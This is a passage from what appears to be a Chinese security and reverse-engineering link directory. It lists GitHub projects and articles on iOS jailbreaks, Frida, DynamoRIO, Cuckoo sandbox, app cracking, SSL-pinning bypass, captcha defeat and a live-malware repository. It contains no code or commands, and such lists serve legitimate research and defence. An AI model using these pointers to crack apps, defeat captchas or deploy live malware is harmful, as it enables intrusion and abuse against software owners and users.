[trailofbits/cb-multios](https://github.com/trailofbits/cb-multios) DARPA Challenges Sets for Linux, Windows, and macOS - [**322**星][2m] [ObjC] [auth0/simplekeychain](https://github.com/auth0/simplekeychain) A Keychain helper for iOS to make it very simple to store/obtain values from iOS Keychain - [**310**星][20d] [Swift] [securing/iossecuritysuite](https://github.com/securing/iossecuritysuite) iOS platform security & anti-tampering Swift library - [**287**星][6m] [Shell] [0ki/mikrotik-tools](https://github.com/0ki/mikrotik-tools) Tools for Mikrotik devices - universal jailbreak tool - 重复区段: [Apple->工具->越狱](#ff19d5d94315d035bbcb3ef0c348c75b) | - [**263**星][6d] [ObjC] [strongbox-password-safe/strongbox](https://github.com/strongbox-password-safe/strongbox) A KeePass/Password Safe Client for iOS and OS X - [**247**星][1m] [C++] [s0uthwest/futurerestore](https://github.com/s0uthwest/futurerestore) iOS upgrade and downgrade tool utilizing SHSH blobs - [**244**星][6m] [JS] [we11cheng/wcshadowrocket](https://github.com/we11cheng/wcshadowrocket) iOS Shadowrocket(砸壳重签,仅供参考,添加节点存在问题)。另一个fq项目potatso源码参见: - [**239**星][1y] [ObjC] [lmirosevic/gbping](https://github.com/lmirosevic/gbping) Highly accurate ICMP Ping controller for iOS - [**238**星][4m] [Swift] [shadowsocksr-live/ishadowsocksr](https://github.com/shadowsocksr-live/ishadowsocksr) ShadowsocksR for iOS, come from - [**223**星][11m] [AppleScript] [lifepillar/csvkeychain](https://github.com/lifepillar/csvkeychain) Import/export between Apple Keychain.app and plain CSV file. - [**219**星][6m] [ObjC] [rickyzhang82/tethering](https://github.com/rickyzhang82/tethering) Proxy and DNS Server on iOS - [**213**星][8m] [C] [owasp/igoat](https://github.com/owasp/igoat) OWASP iGoat - A Learning Tool for iOS App Pentesting and Security by Swaroop Yermalkar - [**211**星][5d] [TS] [bevry/getmac](https://github.com/bevry/getmac) Get the mac address of the current machine you are on via Node.js - [**203**星][5m] [Py] [googleprojectzero/ios-messaging-tools](https://github.com/googleprojectzero/ios-messaging-tools) several tools Project Zero uses to test iPhone messaging - [**200**星][5m] [PS] [mkellerman/invoke-commandas](https://github.com/mkellerman/invoke-commandas) Invoke Command As System/Interactive/GMSA/User on Local/Remote machine & returns PSObjects. ### <a id="7037d96c1017978276cb920f65be2297"></a>XCode - [**6203**星][3m] [ObjC] [johnno1962/injectionforxcode](https://github.com/johnno1962/injectionforxcode) Runtime Code Injection for Objective-C & Swift - [**1606**星][2m] [Swift] [indragiek/inappviewdebugger](https://github.com/indragiek/inappviewdebugger) A UIView debugger (like Reveal or Xcode) that can be embedded in an app for on-device view debugging - [**1409**星][27d] [Swift] [johnno1962/injectioniii](https://github.com/johnno1962/injectioniii) Re-write of Injection for Xcode in (mostly) Swift4 - [**572**星][1m] [ObjC] [hdb-li/lldebugtool](https://github.com/hdb-li/lldebugtool) LLDebugTool is a debugging tool for developers and testers that can help you analyze and manipulate data in non-xcode situations. - [**384**星][2m] [JS] [johnno1962/xprobeplugin](https://github.com/johnno1962/xprobeplugin) Live Memory Browser for Apps & Xcode ### <a id="ff19d5d94315d035bbcb3ef0c348c75b"></a>越狱 - [**5451**星][3m] [Py] [axi0mx/ipwndfu](https://github.com/axi0mx/ipwndfu) open-source jailbreaking tool for many iOS devices - 重复区段: [Apple->工具->新添加的](#d0108e91e6863289f89084ff09df39d0) | - [**5390**星][5m] [C] [pwn20wndstuff/undecimus](https://github.com/pwn20wndstuff/undecimus) unc0ver jailbreak for iOS 11.0 - 12.4 - 重复区段: [Apple->工具->新添加的](#d0108e91e6863289f89084ff09df39d0) | - [**4248**星][8m] [ObjC] [alonemonkey/monkeydev](https://github.com/alonemonkey/monkeydev) CaptainHook Tweak、Logos Tweak and Command-line Tool、Patch iOS Apps, Without Jailbreak. - 重复区段: [Apple->工具->新添加的](#d0108e91e6863289f89084ff09df39d0) | - [**3221**星][5m] [ObjC] [naituw/ipapatch](https://github.com/naituw/ipapatch) Patch iOS Apps, The Easy Way, Without Jailbreak. - [**404**星][1y] [C] [coalfire-research/ios-11.1.2-15b202-jailbreak](https://github.com/coalfire-research/ios-11.1.2-15b202-jailbreak) iOS 11.1.2 (15B202) Jailbreak - 重复区段: [Apple->工具->新添加的](#d0108e91e6863289f89084ff09df39d0) | - [**287**星][6m] [Shell] [0ki/mikrotik-tools](https://github.com/0ki/mikrotik-tools) Tools for Mikrotik devices - universal jailbreak tool - 重复区段: [Apple->工具->新添加的](#d0108e91e6863289f89084ff09df39d0) | - [**237**星][11m] [C] [geosn0w/osirisjailbreak12](https://github.com/geosn0w/osirisjailbreak12) iOS 12.0 -> 12.1.2 Incomplete Osiris Jailbreak with CVE-2019-6225 by GeoSn0w (FCE365) - [**200**星][1y] [ObjC] [sunweiliang/neteasemusiccrack](https://github.com/sunweiliang/neteasemusiccrack) iOS网易云音乐 免VIP下载、去广告、去更新 无需越狱... ### <a id="c20772abc204dfe23f3e946f8c73dfda"></a>LLDB - [**784**星][3m] [C++] [nodejs/llnode](https://github.com/nodejs/llnode) An lldb plugin for Node.js and V8, which enables inspection of JavaScript states for insights into Node.js processes and their core dumps. - [**636**星][2m] [C++] [apple/swift-lldb](https://github.com/apple/swift-lldb) This is the version of LLDB that supports the Swift programming language & REPL. - [**492**星][20d] [Rust] [vadimcn/vscode-lldb](https://github.com/vadimcn/vscode-lldb) A native debugger extension for VSCode based on LLDB - [**388**星][2m] [C++] [llvm-mirror/lldb](https://github.com/llvm-mirror/lldb) Mirror of official lldb git repository located at *** ## <a id="c97bbe32bbd26c72ceccb43400e15bf1"></a>文章&&视频 # <a id="0ae4ddb81ff126789a7e08b0768bd693"></a>Cuckoo *** ## <a id="5830a8f8fb3af1a336053d84dd7330a1"></a>工具 ### <a id="f2b5c44c2107db2cec6c60477c6aa1d0"></a>新添加的 - [**4042**星][3m] [JS] [cuckoosandbox/cuckoo](https://github.com/cuckoosandbox/cuckoo) Cuckoo Sandbox is an automated dynamic malware analysis system - [**308**星][2m] [Py] [hatching/vmcloak](https://github.com/hatching/vmcloak) Automated Virtual Machine Generation and Cloaking for Cuckoo Sandbox. - [**238**星][6m] [Py] [cuckoosandbox/community](https://github.com/cuckoosandbox/community) Repository of modules and signatures contributed by the community - [**236**星][3m] [Py] [brad-sp/cuckoo-modified](https://github.com/brad-sp/cuckoo-modified) Modified edition of cuckoo - [**225**星][1y] [PHP] [cuckoosandbox/monitor](https://github.com/cuckoosandbox/monitor) The new Cuckoo Monitor. - [**220**星][3m] [Shell] [blacktop/docker-cuckoo](https://github.com/blacktop/docker-cuckoo) Cuckoo Sandbox Dockerfile *** ## <a id="ec0a441206d9a2fe1625dce0a679d466"></a>文章&&视频 - 2019.10 [sectechno] [Cuckoo Sandbox – Automated Malware Analysis Framework](https://sectechno.com/cuckoo-sandbox-automated-malware-analysis-framework-2/) - 2019.04 [eforensicsmag] [How to Integrate RSA Malware Analysis with Cuckoo Sandbox | By Luiz Henrique Borges](https://eforensicsmag.com/how-to-integrate-rsa-malware-analysis-with-cuckoo-sandbox-by-luiz-henrique-borges/) - 2019.02 [thehive] [Cortex-Analyzers 1.15.3 get ready for URLhaus and Cuckoo](https://blog.thehive-project.org/2019/02/26/cortex-analyzers-1-15-3-get-ready-for-urlhaus-and-cuckoo/) - 2018.07 [360] [一例IRC Bot针对Cuckoo沙箱的猥琐对抗分析](https://www.anquanke.com/post/id/152631/) - 2018.05 [trustedsec] [Malware Analysis is for the (Cuckoo) Birds – Working with Proxmox](https://www.trustedsec.com/2018/05/working-with-proxmox/) - 2018.05 [trustedsec] [Protected: Malware Analysis is for the (Cuckoo) Birds](https://www.trustedsec.com/2018/05/malware-cuckoo-1/) - 2018.05 [trustedsec] [Protected: Malware Analysis is for the (Cuckoo) Birds – Cuckoo Installation Notes for Debian](https://www.trustedsec.com/2018/05/malware-cuckoo-2/) - 2018.04 [ly0n] [Automating malware analysis, cuckoo api + postfix](https://paumunoz.tech/2018/04/25/automating-malware-analysis-cuckoo-api-postfix/) - 2018.04 [ly0n] [Automating malware analysis, cuckoo api + postfix](http://ly0n.me/2018/04/25/automating-malware-analysis-cuckoo-api-postfix/) - 2018.04 [rapid7] [Threat Intel Book Club: The Cuckoo's Egg wrap-up](https://blog.rapid7.com/2018/04/12/threat-intel-book-club-the-cuckoos-egg-wrap-up/) - 2018.04 [nviso] [Painless Cuckoo Sandbox Installation](https://blog.nviso.be/2018/04/12/painless-cuckoo-sandbox-installation/) - 2018.03 [rapid7] [Next Threat Intel Book Club 4/5: Recapping The Cuckoo’s Egg](https://blog.rapid7.com/2018/03/18/next-threat-intel-book-club-4-5-recapping-the-cuckoos-egg/) - 2018.03 [ensurtec] [Cuckoo Sandbox Setup Tutorial](https://ensurtec.com/cuckoo-sandbox-setup-tutorial/) - 2018.01 [fortinet] [Prevalent Threats Targeting Cuckoo Sandbox Detection and Our Mitigation](https://blog.fortinet.com/2018/01/03/prevalent-threats-targeting-cuckoo-sandbox-detection-and-our-mitigation) - 2018.01 [fortinet] [Prevalent Threats Targeting Cuckoo Sandbox Detection and Our Mitigation](https://www.fortinet.com/blog/threat-research/prevalent-threats-targeting-cuckoo-sandbox-detection-and-our-mitigation.html) # <a id="7ab3a7005d6aa699562b3a0a0c6f2cff"></a>DBI *** ## <a id="c8cdb0e30f24e9b7394fcd5681f2e419"></a>DynamoRIO ### <a id="6c4841dd91cb173093ea2c8d0b557e71"></a>工具 #### <a id="3a577a5b4730a1b5b3b325269509bb0a"></a>DynamoRIO - [**1388**星][4d] [C] [dynamorio/drmemory](https://github.com/dynamorio/drmemory) Memory Debugger for Windows, Linux, Mac, and Android - [**1228**星][4d] [C] [dynamorio/dynamorio](https://github.com/dynamorio/dynamorio) Dynamic Instrumentation Tool Platform #### <a id="ff0abe26a37095f6575195950e0b7f94"></a>新添加的 - [**249**星][4m] [C] [ampotos/dynstruct](https://github.com/ampotos/dynstruct) Reverse engineering tool for automatic structure recovering and memory use analysis based on DynamoRIO and Capstone #### <a id="928642a55eff34b6b52622c6862addd2"></a>与其他工具交互 ### <a id="9479ce9f475e4b9faa4497924a2e40fc"></a>文章&&视频 - 2019.10 [freebuf] [DrSemu:基于动态行为的恶意软件检测与分类工具](https://www.freebuf.com/sectool/214277.html) - 2019.06 [freebuf] [Functrace:使用DynamoRIO追踪函数调用](https://www.freebuf.com/sectool/205989.html) - 2019.01 [360] [深入浅出——基于DynamoRIO的strace和ltrace](https://www.anquanke.com/post/id/169257/) - 2018.08 [n0where] [Dynamic API Call Tracer for Windows and Linux Applications: Drltrace](https://n0where.net/dynamic-api-call-tracer-for-windows-and-linux-applications-drltrace) - 2018.07 [topsec] [动态二进制修改(Dynamic Binary Instrumentation)入门:Pin、DynamoRIO、Frida](http://blog.topsec.com.cn/%e5%8a%a8%e6%80%81%e4%ba%8c%e8%bf%9b%e5%88%b6%e4%bf%ae%e6%94%b9dynamic-binary-instrumentation%e5%85%a5%e9%97%a8%ef%bc%9apin%e3%80%81dynamorio%e3%80%81frida/) - 2018.07 [topsec] [动态二进制修改(Dynamic Binary Instrumentation)入门:Pin、DynamoRIO、Frida](http://blog.topsec.com.cn/ad_lab/%e5%8a%a8%e6%80%81%e4%ba%8c%e8%bf%9b%e5%88%b6%e4%bf%ae%e6%94%b9dynamic-binary-instrumentation%e5%85%a5%e9%97%a8%ef%bc%9apin%e3%80%81dynamorio%e3%80%81frida/) - 2018.07 [topsec] [动态二进制修改(Dynamic Binary Instrumentation)入门:Pin、DynamoRIO、Frida](http://blog.topsec.com.cn/%e5%8a%a8%e6%80%81%e4%ba%8c%e8%bf%9b%e5%88%b6%e4%bf%ae%e6%94%b9dynamic-binary-instrumentation%e5%85%a5%e9%97%a8%ef%bc%9apin%e3%80%81dynamorio%e3%80%81frida/) - 2018.07 [topsec] [动态二进制修改(Dynamic Binary Instrumentation)入门:Pin、DynamoRIO、Frida](http://blog.topsec.com.cn/2018/07/%e5%8a%a8%e6%80%81%e4%ba%8c%e8%bf%9b%e5%88%b6%e4%bf%ae%e6%94%b9dynamic-binary-instrumentation%e5%85%a5%e9%97%a8%ef%bc%9apin%e3%80%81dynamorio%e3%80%81frida/) - 2017.11 [SECConsult] [The Art of Fuzzing - Demo 10: In-memory Fuzzing HashCalc using DynamoRio](https://www.youtube.com/watch?v=FEJGlgBeUJ8) - 2017.11 [SECConsult] [The Art of Fuzzing - Demo 6: Extract Coverage Information using DynamoRio](https://www.youtube.com/watch?v=Ur_E9c2vX1A) - 2016.11 [360] [“Selfie”:利用DynamoRIO实现自修改代码自动脱壳的神器](https://www.anquanke.com/post/id/84999/) - 2016.09 [securitygossip] [Practical Memory Checking With Dr. Memory](http://securitygossip.com/blog/2016/09/12/2016-09-12/) - 2016.09 [sjtu] [Practical Memory Checking With Dr. Memory](https://loccs.sjtu.edu.cn/gossip/blog/2016/09/12/2016-09-12/) - 2016.08 [n0where] [Dynamic Instrumentation Tool Platform: DynamoRIO](https://n0where.net/dynamic-instrumentation-tool-platform-dynamorio) - 2012.10 [redplait] [building dynamorio](http://redplait.blogspot.com/2012/10/building-dynamorio.html) - 2011.06 [redplait] [dynamorio](http://redplait.blogspot.com/2011/06/dynamorio.html) *** ## <a id="7b8a493ca344f41887792fcc008573e7"></a>IntelPin ### <a id="fe5a6d7f16890542c9e60857706edfde"></a>工具 #### <a id="78a2edf9aa41eb321436cb150ea70a54"></a>新添加的 - [**299**星][2m] [C] [vusec/vuzzer](https://github.com/vusec/vuzzer) depends heavily on a modeified version of DataTracker, which in turn depends on LibDFT pintool. #### <a id="e6a829abd8bbc5ad2e5885396e3eec04"></a>与其他工具交互 ##### <a id="e129288dfadc2ab0890667109f93a76d"></a>未分类 - [**943**星][1y] [Py] [gaasedelen/lighthouse](https://github.com/gaasedelen/lighthouse) 从DBI中收集代码覆盖情况,在IDA/Binja中映射、浏览、查看 - 重复区段: [IDA->插件->调试->DBI数据](#0fbd352f703b507853c610a664f024d1) |[DBI->Frida->工具->与其他工具交互->IDA](#d628ec92c9eea0c4b016831e1f6852b3) |[DBI->Frida->工具->与其他工具交互->BinaryNinja](#f9008a00e2bbc7535c88602aa79c8fd8) | - [coverage-frida](https://github.com/gaasedelen/lighthouse/blob/master/coverage/frida/README.md) 使用Frida收集信息 - [coverage-pin](https://github.com/gaasedelen/lighthouse/blob/master/coverage/pin/README.md) 使用Pin收集覆盖信息 - [插件](https://github.com/gaasedelen/lighthouse/blob/master/plugin/lighthouse_plugin.py) 支持IDA和BinNinja ### <a id="226190bea6ceb98ee5e2b939a6515fac"></a>文章&&视频 *** ## <a id="f24f1235fd45a1aa8d280eff1f03af7e"></a>Frida ### <a id="a5336a0f9e8e55111bda45c8d74924c1"></a>工具 #### <a id="6d3c24e43835420063f9ca50ba805f15"></a>Frida - [**4516**星][5d] [Makefile] [frida/frida](https://github.com/frida/frida) Clone this repo to build Frida #### <a id="54836a155de0c15b56f43634cd9cfecf"></a>新添加的 - [**1193**星][7d] [JS] [alonemonkey/frida-ios-dump](https://github.com/alonemonkey/frida-ios-dump) pull decrypted ipa from jailbreak device - 重复区段: [Apple->工具->新添加的](#d0108e91e6863289f89084ff09df39d0) | - [**895**星][5m] [JS] [dpnishant/appmon](https://github.com/dpnishant/appmon) 用于监视和篡改本地macOS,iOS和android应用程序的系统API调用的自动化框架。基于Frida。 - [**645**星][8d] [Py] [igio90/dwarf](https://github.com/igio90/dwarf) Full featured multi arch/os debugger built on top of PyQt5 and frida - [**559**星][1m] [JS] [nccgroup/house](https://github.com/nccgroup/house) 运行时手机 App 分析工具包, 带Web GUI - [**513**星][24d] [JS] [iddoeldor/frida-snippets](https://github.com/iddoeldor/frida-snippets) Hand-crafted Frida examples - [**422**星][12m] [Py] [dstmath/frida-unpack](https://github.com/dstmath/frida-unpack) 基于Frida的脱壳工具 - [**420**星][5d] [C] [frida/frida-python](https://github.com/frida/frida-python) Frida Python bindings - [**332**星][7d] [JS] [chichou/bagbak](https://github.com/ChiChou/bagbak) Yet another frida based iOS dumpdecrypted, works on iOS 13 with checkra1n and supports decrypting app extensions - [**321**星][29d] [C] [frida/frida-core](https://github.com/frida/frida-core) Frida core library intended for static linking into bindings - [**308**星][4m] [JS] [smartdone/frida-scripts](https://github.com/smartdone/frida-scripts) 一些frida脚本 - [**283**星][8m] [Py] [nightbringer21/fridump](https://github.com/nightbringer21/fridump) A universal memory dumper using Frida - [**250**星][1y] [Py] [igio90/frick](https://github.com/igio90/frick) aka the first debugger built on top of frida - [**243**星][11d] [JS] [frenchyeti/dexcalibur](https://github.com/frenchyeti/dexcalibur) Dynamic binary instrumentation tool designed for Android application and powered by Frida. It disassembles dex, analyzes it statically, generates hooks, discovers reflected methods, stores intercepted data and does new things from it. Its aim is to be an all-in-one Android reverse engineering platform. - [**228**星][5d] [C] [frida/frida-gum](https://github.com/frida/frida-gum) Low-level code instrumentation library used by frida-core #### <a id="74fa0c52c6104fd5656c93c08fd1ba86"></a>与其他工具交互 ##### <a id="00a86c65a84e58397ee54e85ed57feaf"></a>未分类 - [**584**星][1y] [Java] [federicodotta/brida](https://github.com/federicodotta/brida) The new bridge between Burp Suite and Frida! ##### <a id="d628ec92c9eea0c4b016831e1f6852b3"></a>IDA - [**943**星][1y] [Py] [gaasedelen/lighthouse](https://github.com/gaasedelen/lighthouse) 从DBI中收集代码覆盖情况,在IDA/Binja中映射、浏览、查看 - 重复区段: [IDA->插件->调试->DBI数据](#0fbd352f703b507853c610a664f024d1) |[DBI->IntelPin->工具->与其他工具交互->未分类](#e129288dfadc2ab0890667109f93a76d) |[DBI->Frida->工具->与其他工具交互->BinaryNinja](#f9008a00e2bbc7535c88602aa79c8fd8) | - [coverage-frida](https://github.com/gaasedelen/lighthouse/blob/master/coverage/frida/README.md) 使用Frida收集信息 - [coverage-pin](https://github.com/gaasedelen/lighthouse/blob/master/coverage/pin/README.md) 使用Pin收集覆盖信息 - [插件](https://github.com/gaasedelen/lighthouse/blob/master/plugin/lighthouse_plugin.py) 支持IDA和BinNinja ##### <a id="f9008a00e2bbc7535c88602aa79c8fd8"></a>BinaryNinja - [**943**星][1y] [Py] [gaasedelen/lighthouse](https://github.com/gaasedelen/lighthouse) 从DBI中收集代码覆盖情况,在IDA/Binja中映射、浏览、查看 - 重复区段: [IDA->插件->调试->DBI数据](#0fbd352f703b507853c610a664f024d1) |[DBI->IntelPin->工具->与其他工具交互->未分类](#e129288dfadc2ab0890667109f93a76d) |[DBI->Frida->工具->与其他工具交互->IDA](#d628ec92c9eea0c4b016831e1f6852b3) | - [coverage-frida](https://github.com/gaasedelen/lighthouse/blob/master/coverage/frida/README.md) 使用Frida收集信息 - [coverage-pin](https://github.com/gaasedelen/lighthouse/blob/master/coverage/pin/README.md) 使用Pin收集覆盖信息 - [插件](https://github.com/gaasedelen/lighthouse/blob/master/plugin/lighthouse_plugin.py) 支持IDA和BinNinja ##### <a id="ac053c4da818ca587d57711d2ff66278"></a>Radare2 - [**378**星][19d] [JS] [nowsecure/r2frida](https://github.com/nowsecure/r2frida) Radare2 and Frida better together. - 重复区段: [Radare2->插件->与其他工具交互->未分类](#dfe53924d678f9225fc5ece9413b890f) | ### <a id="a1a7e3dd7091b47384c75dba8f279caf"></a>文章&&视频 - 2019.07 [hackertor] [Dwarf – Full Featured Multi Arch/Os Debugger Built On Top Of PyQt5 And Frida](https://hackertor.com/2019/07/13/dwarf-full-featured-multi-arch-os-debugger-built-on-top-of-pyqt5-and-frida/) - 2019.05 [nsfocus] [Frida应用基础及 APP https证书验证破解](http://blog.nsfocus.net/frida%e5%ba%94%e7%94%a8%e5%9f%ba%e7%a1%80%e5%8f%8a-app-https%e8%af%81%e4%b9%a6%e9%aa%8c%e8%af%81%e7%a0%b4%e8%a7%a3/) - 2019.05 [nsfocus] [Frida应用基础及 APP https证书验证破解](http://blog.nsfocus.net/frida-application-foundation-app-https-certificate-verification-cracking-2/) - 2019.05 [nsfocus] [Frida应用基础及APP https证书验证破解](http://blog.nsfocus.net/frida-application-foundation-app-https-certificate-verification-cracking/) - 2019.05 [CodeColorist] [Trace child process with frida on macOS](https://medium.com/p/3b8f0f953f3d) - 2019.05 [360] [FRIDA脚本系列(四)更新篇:几个主要机制的大更新](https://www.anquanke.com/post/id/177597/) - 2019.03 [360] [FRIDA脚本系列(三)超神篇:百度AI“调教”抖音AI](https://www.anquanke.com/post/id/175621/) - 2019.03 [securityinnovation] [Setting up Frida Without Jailbreak on the Latest iOS 12.1.4 Device](https://blog.securityinnovation.com/frida) - 2019.02 [nowsecure] [Frida 12.3 Debuts New Crash Reporting Feature](https://www.nowsecure.com/blog/2019/02/07/frida-12-3-debuts-new-crash-reporting-feature/) - 2019.01 [fuzzysecurity] [Windows Hacking 之:ApplicationIntrospection & Hooking With Frida](http://fuzzysecurity.com/tutorials/29.html) - 2019.01 [fuping] [安卓APP测试之HOOK大法-Frida篇](https://fuping.site/2019/01/25/Frida-Hook-SoulAPP/) - 2019.01 [360] [FRIDA脚本系列(二)成长篇:动静态结合逆向WhatsApp](https://www.anquanke.com/post/id/169315/) - 2019.01 [pediy] [[原创]介召几个frida在安卓逆向中使用的脚本以及延时Hook手法](https://bbs.pediy.com/thread-248848.htm) - 2018.12 [360] [FRIDA脚本系列(一)入门篇:在安卓8.1上dump蓝牙接口和实例](https://www.anquanke.com/post/id/168152/) - 2018.12 [pediy] [[原创]CVE-2017-4901 VMware虚拟机逃逸漏洞分析【Frida Windows实例】](https://bbs.pediy.com/thread-248384.htm) - 2018.12 [freebuf] [一篇文章带你领悟Frida的精髓(基于安卓8.1)](https://www.freebuf.com/articles/system/190565.html) - 2018.12 [pediy] [[原创] Frida操作手册-Android环境准备](https://bbs.pediy.com/thread-248293.htm) - 2018.11 [4hou] [使用FRIDA为Android应用进行脱壳的操作指南](http://www.4hou.com/technology/14404.html) - 2018.11 [pediy] [[原创]Frida Bypass Android SSL pinning example 1](https://bbs.pediy.com/thread-247967.htm) - 2018.11 [freebuf] [Frida-Wshook:一款基于Frida.re的脚本分析工具](https://www.freebuf.com/sectool/188726.html) *** ## <a id="5a9974bfcf7cdf9b05fe7a7dc5272213"></a>其他 # <a id="d3690e0b19c784e104273fe4d64b2362"></a>其他 *** ## <a id="9162e3507d24e58e9e944dd3f6066c0e"></a> 文章-新添加的 *** ## <a id="1d9dec1320a5d774dc8e0e7604edfcd3"></a>工具-新添加的 - [**19766**星][3m] [Jupyter Notebook] [camdavidsonpilon/probabilistic-programming-and-bayesian-methods-for-hackers](https://github.com/camdavidsonpilon/probabilistic-programming-and-bayesian-methods-for-hackers) aka "Bayesian Methods for Hackers": An introduction to Bayesian methods + probabilistic programming with a computation/understanding-first, mathematics-second point of view. All in pure Python ;) - [**14349**星][1m] [Py] [corentinj/real-time-voice-cloning](https://github.com/corentinj/real-time-voice-cloning) Clone a voice in 5 seconds to generate arbitrary speech in real-time - [**11402**星][2d] [Java] [oracle/graal](https://github.com/oracle/graal) Run Programs Faster Anywhere - [**11213**星][2m] [Jupyter Notebook] [selfteaching/the-craft-of-selfteaching](https://github.com/selfteaching/the-craft-of-selfteaching) One has no future if one couldn't teach themself. - [**10378**星][3d] [Go] [goharbor/harbor](https://github.com/goharbor/harbor) An open source trusted cloud native registry project that stores, signs, and scans content. - [**7748**星][2d] [Go] [git-lfs/git-lfs](https://github.com/git-lfs/git-lfs) Git extension for versioning large files - [**7020**星][6d] [Go] [nats-io/nats-server](https://github.com/nats-io/nats-server) High-Performance server for NATS, the cloud native messaging system. - [**6894**星][2m] [Go] [sqshq/sampler](https://github.com/sqshq/sampler) A tool for shell commands execution, visualization and alerting. Configured with a simple YAML file. - [**6454**星][9m] [HTML] [open-power-workgroup/hospital](https://github.com/open-power-workgroup/hospital) OpenPower工作组收集汇总的医院开放数据 - [**6353**星][1m] [Py] [seatgeek/fuzzywuzzy](https://github.com/seatgeek/fuzzywuzzy) Fuzzy String Matching in Python - [**6055**星][7m] [JS] [haotian-wang/google-access-helper](https://github.com/haotian-wang/google-access-helper) 谷歌访问助手破解版 - [**5876**星][3m] [Gnuplot] [nasa-jpl/open-source-rover](https://github.com/nasa-jpl/open-source-rover) A build-it-yourself, 6-wheel rover based on the rovers on Mars! - [**5829**星][7m] [JS] [sindresorhus/fkill-cli](https://github.com/sindresorhus/fkill-cli) Fabulously kill processes. Cross-platform. - [**5753**星][10d] [Go] [casbin/casbin](https://github.com/casbin/casbin) An authorization library that supports access control models like ACL, RBAC, ABAC in Golang - [**5751**星][8m] [C] [xoreaxeaxeax/movfuscator](https://github.com/xoreaxeaxeax/movfuscator) C编译器,编译的二进制文件只有1个代码块。 - [**5717**星][20d] [JS] [swagger-api/swagger-editor](https://github.com/swagger-api/swagger-editor) Swagger Editor - [**5420**星][4d] [Py] [mlflow/mlflow](https://github.com/mlflow/mlflow) Open source platform for the machine learning lifecycle - [**5229**星][4m] [Py] [ytisf/thezoo](https://github.com/ytisf/thezoo) A repository of LIVE malwares for your own joy and pleasure. theZoo is a project created to make the possibility of malware analysis open and available to the public. - [**5226**星][5d] [Shell] [denisidoro/navi](https://github.com/denisidoro/navi) An interactive cheatsheet tool for the command-line - [**5116**星][3d] [ASP] [hq450/fancyss](https://github.com/hq450/fancyss) fancyss is a project providing tools to across the GFW on asuswrt/merlin based router. - [**5007**星][1m] [Py] [snare/voltron](https://github.com/snare/voltron) A hacky debugger UI for hackers - [**4857**星][5d] [Go] [gcla/termshark](https://github.com/gcla/termshark) A terminal UI for tshark, inspired by Wireshark - [**4810**星][8m] [Py] [10se1ucgo/disablewintracking](https://github.com/10se1ucgo/disablewintracking) Uses some known methods that attempt to minimize tracking in Windows 10 - [**4747**星][t] [C++] [paddlepaddle/paddle-lite](https://github.com/PaddlePaddle/Paddle-Lite) Multi-platform high performance deep learning inference engine (『飞桨』多平台高性能深度学习预测引擎) - [**4651**星][5d] [powershell/win32-openssh](https://github.com/powershell/win32-openssh) Win32 port of OpenSSH - [**4610**星][1y] [C] [upx/upx](https://github.com/upx/upx) UPX - the Ultimate Packer for eXecutables - [**4600**星][11m] [Py] [ecthros/uncaptcha2](https://github.com/ecthros/uncaptcha2) defeating the latest version of ReCaptcha with 91% accuracy - [**4597**星][4d] [C++] [mozilla/rr](https://github.com/mozilla/rr) 记录与重放App的调试执行过程 - [**4541**星][4m] [TS] [apis-guru/graphql-voyager](https://github.com/apis-guru/graphql-voyager) - [**4352**星][12m] [Py] [lennylxx/ipv6-hosts](https://github.com/lennylxx/ipv6-hosts) Fork of - [**4314**星][7d] [Rust] [timvisee/ffsend](https://github.com/timvisee/ffsend) Easily and securely share files from the command line - [**4258**星][12m] [JS] [butterproject/butter-desktop](https://github.com/butterproject/butter-desktop) All the free parts of Popcorn Time - [**4062**星][3m] [Java] [jesusfreke/smali](https://github.com/jesusfreke/smali) smali/baksmali - [**4060**星][2m] [JS] [sigalor/whatsapp-web-reveng](https://github.com/sigalor/whatsapp-web-reveng) WhatsApp Web API逆向与重新实现 - [**4003**星][3d] [Go] [dexidp/dex](https://github.com/dexidp/dex) OpenID Connect Identity (OIDC) and OAuth 2.0 Provider with Pluggable Connectors - [**3980**星][27d] [Rust] [svenstaro/genact](https://github.com/svenstaro/genact) a nonsense activity generator - [**3960**星][3d] [Py] [angr/angr](https://github.com/angr/angr) A powerful and user-friendly binary analysis platform! - [**3954**星][8d] [Go] [eranyanay/1m-go-websockets](https://github.com/eranyanay/1m-go-websockets) handling 1M websockets connections in Go - [**3939**星][7d] [C] [aquynh/capstone](https://github.com/aquynh/capstone) Capstone disassembly/disassembler framework: Core (Arm, Arm64, BPF, EVM, M68K, M680X, MOS65xx, Mips, PPC, RISCV, Sparc, SystemZ, TMS320C64x, Web Assembly, X86, X86_64, XCore) + bindings. - [**3908**星][4d] [C++] [baldurk/renderdoc](https://github.com/baldurk/renderdoc) RenderDoc is a stand-alone graphics debugging tool. - [**3844**星][2m] [ObjC] [sveinbjornt/sloth](https://github.com/sveinbjornt/sloth) Mac app that shows all open files, directories and sockets in use by all running processes. Nice GUI for lsof. - [**3773**星][17d] [jjqqkk/chromium](https://github.com/jjqqkk/chromium) Chromium browser with SSL VPN. Use this browser to unblock websites. - [**3768**星][2m] [Go] [microsoft/ethr](https://github.com/microsoft/ethr) Ethr is a Network Performance Measurement Tool for TCP, UDP & HTTP. - [**3749**星][4d] [Go] [hashicorp/consul-template](https://github.com/hashicorp/consul-template) Template rendering, notifier, and supervisor for - [**3690**星][13d] [JS] [lesspass/lesspass](https://github.com/lesspass/lesspass) - [**3688**星][21d] [HTML] [hamukazu/lets-get-arrested](https://github.com/hamukazu/lets-get-arrested) This project is intended to protest against the police in Japan - [**3627**星][18d] [HTML] [consensys/smart-contract-best-practices](https://github.com/consensys/smart-contract-best-practices) A guide to smart contract security best practices - [**3608**星][] [Pascal] [cheat-engine/cheat-engine](https://github.com/cheat-engine/cheat-engine) Cheat Engine. A development environment focused on modding - [**3538**星][5m] [Shell] [chengr28/revokechinacerts](https://github.com/chengr28/revokechinacerts) Revoke Chinese certificates. - [**3505**星][8d] [C] [cyan4973/xxhash](https://github.com/cyan4973/xxhash) Extremely fast non-cryptographic hash algorithm - [**3451**星][10d] [C] [mikebrady/shairport-sync](https://github.com/mikebrady/shairport-sync) AirPlay audio player. Shairport Sync adds multi-room capability with Audio Synchronisation - [**3306**星][11d] [C] [microsoft/windows-driver-samples](https://github.com/microsoft/windows-driver-samples) This repo contains driver samples prepared for use with Microsoft Visual Studio and the Windows Driver Kit (WDK). It contains both Universal Windows Driver and desktop-only driver samples. - [**3295**星][7d] [JS] [koenkk/zigbee2mqtt](https://github.com/koenkk/zigbee2mqtt) Zigbee - [**3289**星][7d] [C] [virustotal/yara](https://github.com/virustotal/yara) The pattern matching swiss knife - [**3280**星][21d] 